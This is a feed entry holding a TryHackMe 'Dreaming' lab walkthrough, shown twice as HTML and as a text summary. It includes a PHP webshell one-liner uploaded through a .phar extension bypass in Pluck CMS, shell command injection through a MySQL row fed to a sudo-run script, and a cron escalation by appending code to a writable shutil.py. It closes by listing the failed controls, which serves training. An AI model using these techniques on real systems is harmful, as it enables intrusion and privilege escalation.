<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://ellell.gitlab.io/thm/feed.xml" rel="self" type="application/atom+xml" /><link href="https://ellell.gitlab.io/thm/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-10-02T06:06:34+00:00</updated><id>https://ellell.gitlab.io/thm/feed.xml</id><title type="html">TryHackMe Writeups</title><subtitle>TryHackMe rooms, learning paths and walkthroughs.</subtitle><author><name>ellell</name></author><entry><title type="html">dreaming</title><link href="https://ellell.gitlab.io/thm/dreaming/" rel="alternate" type="text/html" title="dreaming" /><published>2026-10-01T00:00:00+00:00</published><updated>2026-10-01T00:00:00+00:00</updated><id>https://ellell.gitlab.io/thm/dreaming</id><content type="html" xml:base="https://ellell.gitlab.io/thm/dreaming/"><![CDATA[<!doctype html><html><head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1,viewport-fit=cover">
<title>Dreaming — TryHackMe</title>
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Newsreader:opsz,wght@6..72,400;6..72,600&family=IBM+Plex+Sans:wght@400;600&family=IBM+Plex+Mono:wght@400;600&display=swap">
<style>
  :root{
    --bg:#f7f8fa; --panel:#ffffff; --ink:#141922; --muted:#5b6675;
    --line:#dfe4ec; --accent:#0f7f86; --accent-soft:#e2f1f2;
    --code-bg:#10151c; --code-ink:#d7e2ea; --code-dim:#7d8b98;
    --ok:#1f7a4d; --flag:#8a5a00; --flag-soft:#fdf3dc;
    --term-bar:#1b2230;
    --serif:"Newsreader",Georgia,"Times New Roman",serif;
    --sans:"IBM Plex Sans",system-ui,-apple-system,Segoe UI,Roboto,sans-serif;
    --mono:"IBM Plex Mono",ui-monospace,SFMono-Regular,Menlo,Consolas,monospace;
  }
  @media (prefers-color-scheme: dark){
    :root:not([data-theme="light"]){
      --bg:#0d1016; --panel:#151b24; --ink:#e7edf3; --muted:#9aa7b6;
      --line:#232c38; --accent:#5fd0d6; --accent-soft:#12262a;
      --code-bg:#0a0e14; --code-ink:#d3dee7; --code-dim:#7d8b98;
      --ok:#57c98d; --flag:#f0c05a; --flag-soft:#2a2413;
      --term-bar:#111722; color-scheme:dark;
    }
  }
  :root[data-theme="dark"]{
    --bg:#0d1016; --panel:#151b24; --ink:#e7edf3; --muted:#9aa7b6;
    --line:#232c38; --accent:#5fd0d6; --accent-soft:#12262a;
    --code-bg:#0a0e14; --code-ink:#d3dee7; --code-dim:#7d8b98;
    --ok:#57c98d; --flag:#f0c05a; --flag-soft:#2a2413;
    --term-bar:#111722; color-scheme:dark;
  }
  *{box-sizing:border-box}
  body{
    margin:0; background:var(--bg); color:var(--ink);
    font-family:var(--sans); font-size:16.5px; line-height:1.62;
    padding-block:2.5rem 5rem; padding-inline:1.15rem;
    -webkit-text-size-adjust:100%;
  }
  .wrap{max-width:74ch; margin-inline:auto}
  h1,h2,h3{font-family:var(--serif); font-weight:600; text-wrap:balance; line-height:1.18}
  h1{font-size:clamp(2rem,6vw,2.9rem); margin:0 0 .35rem}
  h2{font-size:1.5rem; margin:2.6rem 0 .7rem; padding-top:.9rem; border-top:1px solid var(--line)}
  h3{font-size:1.12rem; margin:1.6rem 0 .4rem; color:var(--ink)}
  p{margin:.7rem 0}
  a{color:var(--accent)}
  code{font-family:var(--mono); font-size:.9em; background:var(--accent-soft); padding:.08em .35em; border-radius:3px}
  .eyebrow{font-size:.72rem; letter-spacing:.16em; text-transform:uppercase; color:var(--muted); font-weight:600}
  .lede{font-size:1.06rem; color:var(--muted); margin-top:.2rem}
  .meta{display:flex; flex-wrap:wrap; gap:.4rem .9rem; margin:1.1rem 0 0; font-size:.82rem; color:var(--muted)}
  .meta span{background:var(--panel); border:1px solid var(--line); border-radius:999px; padding:.16rem .68rem}
  figure.term{margin:1.15rem 0; border-radius:9px; overflow:hidden; border:1px solid var(--line); background:var(--code-bg)}
  figure.term .bar{display:flex; align-items:center; gap:.5rem; background:var(--term-bar); padding:.42rem .7rem; font-family:var(--mono); font-size:.72rem; color:var(--code-dim)}
  figure.term .dot{width:9px;height:9px;border-radius:50%;background:#e0655a}
  figure.term .dot:nth-child(2){background:#e0b64a}
  figure.term .dot:nth-child(3){background:#57c98d}
  figure.term .cap{margin-left:.4rem; letter-spacing:.04em}
  figure.term pre{margin:0; padding:.85rem .95rem; overflow-x:auto; font-family:var(--mono); font-size:.83rem; line-height:1.55; color:var(--code-ink)}
  .cmt{color:var(--code-dim)}
  .hl{color:#7fe3c0; font-weight:600}
  .rd{color:#ff9a8d}
  table{width:100%; border-collapse:collapse; margin:1rem 0; font-size:.92rem}
  th,td{text-align:left; padding:.5rem .6rem; border-bottom:1px solid var(--line); vertical-align:top}
  th{font-size:.72rem; letter-spacing:.09em; text-transform:uppercase; color:var(--muted)}
  td code{white-space:nowrap}
  .flags{display:grid; gap:.6rem; margin:1.2rem 0; grid-template-columns:repeat(auto-fit,minmax(210px,1fr))}
  .flagcard{background:var(--flag-soft); border:1px solid var(--line); border-radius:9px; padding:.7rem .85rem}
  .flagcard .who{font-size:.72rem; letter-spacing:.12em; text-transform:uppercase; color:var(--muted)}
  .flagcard .val{font-family:var(--mono); font-size:.92rem; color:var(--flag); font-weight:600; word-break:break-all}
  ul{margin:.6rem 0; padding-left:1.2rem} li{margin:.3rem 0}
  hr{border:0; border-top:1px solid var(--line); margin:2.4rem 0}
  .back{font-size:.85rem; color:var(--muted)}
  .back a{color:var(--accent)}

  /* kill chain flow diagram */
  .chain{display:flex; flex-direction:column; align-items:center; gap:0; margin:1.4rem 0}
  .cnode{
    width:100%; max-width:440px; background:var(--panel);
    border:1px solid var(--line); border-radius:10px;
    padding:.7rem 1rem; text-align:center;
  }
  .cnode.start{border-color:var(--accent); border-width:2px}
  .cnode.user .clabel{color:var(--accent)}
  .cnode.pwned{border-color:var(--ok); border-width:2px; background:var(--accent-soft)}
  .cnode.pwned .clabel{color:var(--ok)}
  .clabel{font-family:var(--mono); font-weight:600; font-size:.95rem}
  .csub{font-size:.78rem; color:var(--muted); margin-top:.2rem}
  .csub code{font-size:.78rem}
  .carrow{
    display:flex; flex-direction:column; align-items:center;
    color:var(--muted); font-size:1.3rem; line-height:1; padding:.1rem 0;
  }
  .carrow span{
    font-size:.72rem; font-family:var(--mono); color:var(--muted);
    background:var(--bg); border:1px solid var(--line);
    border-radius:999px; padding:.1rem .6rem; margin:.15rem 0;
    white-space:nowrap; max-width:90%; overflow:hidden; text-overflow:ellipsis;
  }
</style>
</head><body>
<div class="wrap">

  <p class="eyebrow">TryHackMe · Linux · Web → Root</p>
  <h1>Dreaming</h1>
  <p class="lede">A stock Apache box hiding a Pluck CMS 4.7.13 on the second pass of content discovery. Two misconfigurations in the same CMS (a <code>.phar</code> upload and a world-readable helper script) hand over the first two users, and a cron job importing a group-writable Python standard-library file gives the third. Three flags, one box.</p>
  <div class="meta">
    <span>Apache/2.4.41 (Ubuntu)</span>
    <span>Pluck CMS 4.7.13</span>
  </div>

  <div class="flags">
    <div class="flagcard"><div class="who">lucien</div><div class="val">THM{TH3_L1BR...</div></div>
    <div class="flagcard"><div class="who">death</div><div class="val">THM{1M_TH3R3...</div></div>
    <div class="flagcard"><div class="who">morpheus</div><div class="val">THM{DR34MS_5H...</div></div>
  </div>

  <h2>Recon</h2>
  <p>Full TCP sweep returns a very short list — SSH and HTTP:</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">port discovery</span></div>
    <pre>&lt;target&gt;: discovered <b class="hl">2</b> open TCP port(s) after checking 65535/65535
  22/tcp   ssh      OpenSSH
  80/tcp   http     Apache httpd 2.4.41 (Ubuntu)

HTTP inspection:
  http://&lt;target&gt;:80/  →  200  "Apache2 Ubuntu Default Page: It works"  (10918 bytes)</pre>
  </figure>
  <p>A tiny first content pass (10 requests) finds nothing, which is the first red herring — the application lives one directory down.</p>

  <h2>Enumeration — the app is under /app/</h2>
  <p>A wider bounded pass with a curated wordlist surfaces <code>/app</code>, which redirects to a directory listing:</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">content discovery → directory listing</span></div>
    <pre>GET /app/            →  200   "Index of /app"
GET /app/pluck-4.7.13/  →  302  →  ?file=dreaming
GET /app/pluck-4.7.13/?file=dreaming  →  200   title "dreaming - dreaming"

<span class="cmt"># the landing page carries the tell:</span>
admin | powered by <b class="hl">pluck</b></pre>
  </figure>
  <p>Apache directory listing is enabled on <code>/app/</code>, and the only child is <code>pluck-4.7.13/</code>. That makes this a <strong>Pluck CMS 4.7.13</strong> install, and the admin panel is at <code>login.php</code>.</p>

  <h2>The admin panel — password-only, and guessable</h2>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">GET /app/pluck-4.7.13/login.php</span></div>
    <pre>&lt;title&gt;pluck 4.7.13 - log in&lt;/title&gt;
&lt;form action="" method="post"&gt;
  &lt;input name="<b class="hl">cont1</b>" size="25" type="password" /&gt;   <span class="cmt"># single field, no username</span>
  &lt;input type="text" name="bogus" style="display: none;" /&gt;
  &lt;input type="submit" name="submit" value="Log in" /&gt;
&lt;/form&gt;</pre>
  </figure>
  <p>A password-only login with no lockout. <code>admin</code> is rejected; <code>password</code> is accepted:</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">POST login.php — cont1=password</span></div>
    <pre>&lt;div class="success"&gt;<b class="hl">Password correct. Logging you in...</b>&lt;/div&gt;
&lt;meta http-equiv="refresh" content="1; url=admin.php?action=start" /&gt;
Set-Cookie: PHPSESSID=…</pre>
  </figure>

  <h2>Shell as www-data — the file manager, but through .phar</h2>
  <p>Dreaming's shell is older than the box. Pluck 4.7.13 stopped running <code>.php</code> uploads a while ago: the file manager renames <code>shell.php</code> to <code>shell.php.txt</code>. Most people stop there. The interesting part is what the blacklist <em>forgot</em> — it only screens a handful of extensions, and <code>.phar</code> sails through:</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">upload via admin.php?action=files</span></div>
    <pre>POST /app/pluck-4.7.13/admin.php?action=files
  filefile = @shell.php            →  stored as  shell.php.txt      <span class="rd">✗ no exec</span>
  filefile = @x.phtml / .php5 …    →  stored as  *.txt              <span class="rd">✗ no exec</span>
  filefile = @<b class="hl">x.phar</b>             →  stored as  x.phar            <span class="hl">✓</span>

GET /app/pluck-4.7.13/files/x.phar?c=id
  <b class="hl">uid=33(www-data) gid=33(www-data) groups=33(www-data)</b></pre>
  </figure>
  <p><code>.phar</code> is mapped to the PHP handler, so a one-line <code>&lt;?php system($_GET["c"]); ?&gt;</code> gives command execution as <code>www-data</code> and a foothold on the box.</p>

  <h2>Shell as lucien — a password left in /opt</h2>
  <p>Nothing in the web root, so look at what <code>www-data</code> can read that it shouldn't. <code>/opt</code> is unremarkable except for one world-readable script that the previous admin clearly meant to delete:</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">cat /opt/test.py</span></div>
    <pre>-rwxr-xr-x 1 lucien lucien 483  /opt/test.py

import requests
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "<b class="hl">&lt;redacted&gt;</b>"
data = {"cont1":password, "bogus":"", "submit":"Log+in"}
req = requests.post(url, data=data)
if "Password correct." in req.text:
    print("Everything is in proper order. Status Code: " + str(req.status_code))</pre>
  </figure>
  <p>A health-check for the Pluck login with lucien's password hard-coded in plaintext. Straight onto SSH:</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">ssh lucien@&lt;target&gt;</span></div>
    <pre>uid=1000(lucien) gid=1000(lucien) groups=1000(lucien),4(adm),24(cdrom),30(dip),46(plugdev)
$ cat /home/lucien/lucien_flag.txt
<b class="hl">THM{TH3_L1BR...</b></pre>
  </figure>
  <p>Note the <code>adm</code> group — later that is worth reading logs with.</p>

  <h2>Shell as death — command injection through MySQL</h2>
  <p><code>sudo -l</code> is the pivot:</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">sudo -l (lucien)</span></div>
    <pre>User lucien may run the following commands on ip-&lt;target&gt;:
    (death) NOPASSWD: /usr/bin/python3 <b class="hl">/home/death/getDreams.py</b></pre>
  </figure>
  <p>That script reads a MySQL <code>library.dreams</code> table and builds a shell command from the rows — with <code>shell=True</code>:</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">core of /home/death/getDreams.py</span></div>
    <pre>for dreamer, dream in hearts:
    command = f"echo {dreamer} + {dream}"        <span class="cmt"># dream is attacker-controlled</span>
    shell = subprocess.check_output(command, text=True, <b class="rd">shell=True</b>)</pre>
  </figure>
  <p>So a row whose <code>dream</code> starts with <code>;</code> runs anything, as whoever the script runs as. lucien holds <code>INSERT</code> on that table (visible in <code>/home/death/.mysql_history</code>) and can run the script as <code>death</code>:</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">inject → run as death</span></div>
    <pre>mysql&gt; INSERT INTO dreams (dreamer,dream) VALUES
         ('x','; cp /home/death/death_flag.txt /tmp/df; chmod 644 /tmp/df');

$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
$ cat /tmp/df
<b class="hl">THM{1M_TH3R3...</b></pre>
  </figure>

  <h2>Shell as morpheus — poisonous cron, poisonous shutil</h2>
  <p>lucien is in <code>adm</code>, so <code>/var/log/syslog</code> is readable — and it hands over the last piece for free:</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">grep CRON /var/log/syslog</span></div>
    <pre>Oct  1 20:26:01 … CRON[…]: (<b class="hl">morpheus</b>) CMD (/usr/bin/python3.8 /home/morpheus/<b class="hl">restore.py</b>)
Oct  1 20:27:01 … CRON[…]: (morpheus) CMD (/usr/bin/python3.8 /home/morpheus/restore.py)
<span class="cmt"># … once a minute, forever</span></pre>
  </figure>
  <p><code>restore.py</code> backs up a file with <code>shutil</code>. Check the permissions on that module:</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">ls -l /usr/lib/python3.8/shutil.py</span></div>
    <pre>-rw-rw-r-- 1 root <b class="hl">death</b> 51474 /usr/lib/python3.8/shutil.py
                    <span class="cmt"># group-writable by death — and we are death</span>

$ cat /home/morpheus/restore.py
from shutil import copy2 as backup
backup("/home/morpheus/kingdom", "/kingdom_backup/kingdom")</pre>
  </figure>
  <p>Append a payload to <code>shutil.py</code> as death; the next time the morpheus cron imports it, the payload runs as morpheus:</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">poison shutil as death → executes at next cron tick</span></div>
    <pre># as death:
$ echo 'import os; os.system("cp /home/morpheus/morpheus_flag.txt /tmp/mf; chmod 644 /tmp/mf")' \
      &gt;&gt; /usr/lib/python3.8/shutil.py

<span class="cmt"># up to 60 s later, the cron's python3.8 imports shutil:</span>
$ cat /tmp/mf
<b class="hl">THM{DR34MS_5H...</b></pre>
  </figure>

  <h2>Beyond root — what actually made this easy</h2>
  <p>Three separate controls were each one line away from stopping this:</p>
  <table>
    <thead><tr><th>Step</th><th>Control that failed</th></tr></thead>
    <tbody>
      <tr><td><code>.phar</code> upload</td><td>Upload blacklist screened <code>.php</code>, <code>.phtml</code>, <code>.php5</code>, <code>.php7</code>, <code>.pht</code> — but not <code>.phar</code>, which Apache still maps to the PHP handler.</td></tr>
      <tr><td>lucien</td><td>A password only existed in a script that should never have been world-readable, and reused on SSH.</td></tr>
      <tr><td>morpheus</td><td>A standard-library file (<code>shutil.py</code>) was group-writable by a low-privileged user, and a cron ran a script that imports it. Standard library must never be group-writable, and cron scripts should never import from a writable path.</td></tr>
    </tbody>
  </table>

  <h2>The chain</h2>
  <div class="chain">
    <div class="cnode start">
      <div class="clabel">Apache / Pluck 4.7.13</div>
      <div class="csub">content discovery → <code>/app/</code></div>
    </div>
    <div class="carrow">↓<span>guessable password</span></div>
    <div class="cnode">
      <div class="clabel">Admin panel</div>
      <div class="csub">password-only login, no lockout</div>
    </div>
    <div class="carrow">↓<span>.phar upload bypass</span></div>
    <div class="cnode user">
      <div class="clabel">www-data</div>
      <div class="csub">webshell via <code>files/x.phar</code></div>
    </div>
    <div class="carrow">↓<span>world-readable <code>/opt/test.py</code></span></div>
    <div class="cnode user">
      <div class="clabel">lucien</div>
      <div class="csub">plaintext password → SSH</div>
    </div>
    <div class="carrow">↓<span>sudo + MySQL injection in <code>getDreams.py</code></span></div>
    <div class="cnode user">
      <div class="clabel">death</div>
      <div class="csub"><code>INSERT</code> + <code>shell=True</code></div>
    </div>
    <div class="carrow">↓<span>group-writable <code>shutil.py</code> + cron</span></div>
    <div class="cnode pwned">
      <div class="clabel">morpheus</div>
      <div class="csub">stdlib poison → cron import → RCE</div>
    </div>
  </div>

  <hr>
  <p class="back"><a href="/thm/">&larr; all THM writeups</a></p>

</div>
</body></html>]]></content><author><name>ellell</name></author><summary type="html"><![CDATA[Dreaming — TryHackMe TryHackMe · Linux · Web → Root Dreaming A stock Apache box hiding a Pluck CMS 4.7.13 on the second pass of content discovery. Two misconfigurations in the same CMS (a .phar upload and a world-readable helper script) hand over the first two users, and a cron job importing a group-writable Python standard-library file gives the third. Three flags, one box. Apache/2.4.41 (Ubuntu) Pluck CMS 4.7.13 lucienTHM{TH3_L1BR... deathTHM{1M_TH3R3... morpheusTHM{DR34MS_5H... Recon Full TCP sweep returns a very short list — SSH and HTTP: port discovery &lt;target&gt;: discovered 2 open TCP port(s) after checking 65535/65535 22/tcp ssh OpenSSH 80/tcp http Apache httpd 2.4.41 (Ubuntu) HTTP inspection: http://&lt;target&gt;:80/ → 200 "Apache2 Ubuntu Default Page: It works" (10918 bytes) A tiny first content pass (10 requests) finds nothing, which is the first red herring — the application lives one directory down. Enumeration — the app is under /app/ A wider bounded pass with a curated wordlist surfaces /app, which redirects to a directory listing: content discovery → directory listing GET /app/ → 200 "Index of /app" GET /app/pluck-4.7.13/ → 302 → ?file=dreaming GET /app/pluck-4.7.13/?file=dreaming → 200 title "dreaming - dreaming" # the landing page carries the tell: admin | powered by pluck Apache directory listing is enabled on /app/, and the only child is pluck-4.7.13/. That makes this a Pluck CMS 4.7.13 install, and the admin panel is at login.php. The admin panel — password-only, and guessable GET /app/pluck-4.7.13/login.php &lt;title&gt;pluck 4.7.13 - log in&lt;/title&gt; &lt;form action="" method="post"&gt; &lt;input name="cont1" size="25" type="password" /&gt; # single field, no username &lt;input type="text" name="bogus" style="display: none;" /&gt; &lt;input type="submit" name="submit" value="Log in" /&gt; &lt;/form&gt; A password-only login with no lockout. admin is rejected; password is accepted: POST login.php — cont1=password &lt;div class="success"&gt;Password correct. Logging you in...&lt;/div&gt; &lt;meta http-equiv="refresh" content="1; url=admin.php?action=start" /&gt; Set-Cookie: PHPSESSID=… Shell as www-data — the file manager, but through .phar Dreaming's shell is older than the box. Pluck 4.7.13 stopped running .php uploads a while ago: the file manager renames shell.php to shell.php.txt. Most people stop there. The interesting part is what the blacklist forgot — it only screens a handful of extensions, and .phar sails through: upload via admin.php?action=files POST /app/pluck-4.7.13/admin.php?action=files filefile = @shell.php → stored as shell.php.txt ✗ no exec filefile = @x.phtml / .php5 … → stored as *.txt ✗ no exec filefile = @x.phar → stored as x.phar ✓ GET /app/pluck-4.7.13/files/x.phar?c=id uid=33(www-data) gid=33(www-data) groups=33(www-data) .phar is mapped to the PHP handler, so a one-line &lt;?php system($_GET["c"]); ?&gt; gives command execution as www-data and a foothold on the box. Shell as lucien — a password left in /opt Nothing in the web root, so look at what www-data can read that it shouldn't. /opt is unremarkable except for one world-readable script that the previous admin clearly meant to delete: cat /opt/test.py -rwxr-xr-x 1 lucien lucien 483 /opt/test.py import requests url = "http://127.0.0.1/app/pluck-4.7.13/login.php" password = "&lt;redacted&gt;" data = {"cont1":password, "bogus":"", "submit":"Log+in"} req = requests.post(url, data=data) if "Password correct." in req.text: print("Everything is in proper order. Status Code: " + str(req.status_code)) A health-check for the Pluck login with lucien's password hard-coded in plaintext. Straight onto SSH: ssh lucien@&lt;target&gt; uid=1000(lucien) gid=1000(lucien) groups=1000(lucien),4(adm),24(cdrom),30(dip),46(plugdev) $ cat /home/lucien/lucien_flag.txt THM{TH3_L1BR... Note the adm group — later that is worth reading logs with. Shell as death — command injection through MySQL sudo -l is the pivot: sudo -l (lucien) User lucien may run the following commands on ip-&lt;target&gt;: (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py That script reads a MySQL library.dreams table and builds a shell command from the rows — with shell=True: core of /home/death/getDreams.py for dreamer, dream in hearts: command = f"echo {dreamer} + {dream}" # dream is attacker-controlled shell = subprocess.check_output(command, text=True, shell=True) So a row whose dream starts with ; runs anything, as whoever the script runs as. lucien holds INSERT on that table (visible in /home/death/.mysql_history) and can run the script as death: inject → run as death mysql&gt; INSERT INTO dreams (dreamer,dream) VALUES ('x','; cp /home/death/death_flag.txt /tmp/df; chmod 644 /tmp/df'); $ sudo -u death /usr/bin/python3 /home/death/getDreams.py $ cat /tmp/df THM{1M_TH3R3... Shell as morpheus — poisonous cron, poisonous shutil lucien is in adm, so /var/log/syslog is readable — and it hands over the last piece for free: grep CRON /var/log/syslog Oct 1 20:26:01 … CRON[…]: (morpheus) CMD (/usr/bin/python3.8 /home/morpheus/restore.py) Oct 1 20:27:01 … CRON[…]: (morpheus) CMD (/usr/bin/python3.8 /home/morpheus/restore.py) # … once a minute, forever restore.py backs up a file with shutil. Check the permissions on that module: ls -l /usr/lib/python3.8/shutil.py -rw-rw-r-- 1 root death 51474 /usr/lib/python3.8/shutil.py # group-writable by death — and we are death $ cat /home/morpheus/restore.py from shutil import copy2 as backup backup("/home/morpheus/kingdom", "/kingdom_backup/kingdom") Append a payload to shutil.py as death; the next time the morpheus cron imports it, the payload runs as morpheus: poison shutil as death → executes at next cron tick # as death: $ echo 'import os; os.system("cp /home/morpheus/morpheus_flag.txt /tmp/mf; chmod 644 /tmp/mf")' \ &gt;&gt; /usr/lib/python3.8/shutil.py # up to 60 s later, the cron's python3.8 imports shutil: $ cat /tmp/mf THM{DR34MS_5H... Beyond root — what actually made this easy Three separate controls were each one line away from stopping this: StepControl that failed .phar uploadUpload blacklist screened .php, .phtml, .php5, .php7, .pht — but not .phar, which Apache still maps to the PHP handler. lucienA password only existed in a script that should never have been world-readable, and reused on SSH. morpheusA standard-library file (shutil.py) was group-writable by a low-privileged user, and a cron ran a script that imports it. Standard library must never be group-writable, and cron scripts should never import from a writable path. The chain Apache / Pluck 4.7.13 content discovery → /app/ ↓guessable password Admin panel password-only login, no lockout ↓.phar upload bypass www-data webshell via files/x.phar ↓world-readable /opt/test.py lucien plaintext password → SSH ↓sudo + MySQL injection in getDreams.py death INSERT + shell=True ↓group-writable shutil.py + cron morpheus stdlib poison → cron import → RCE &larr; all THM writeups]]></summary></entry></feed>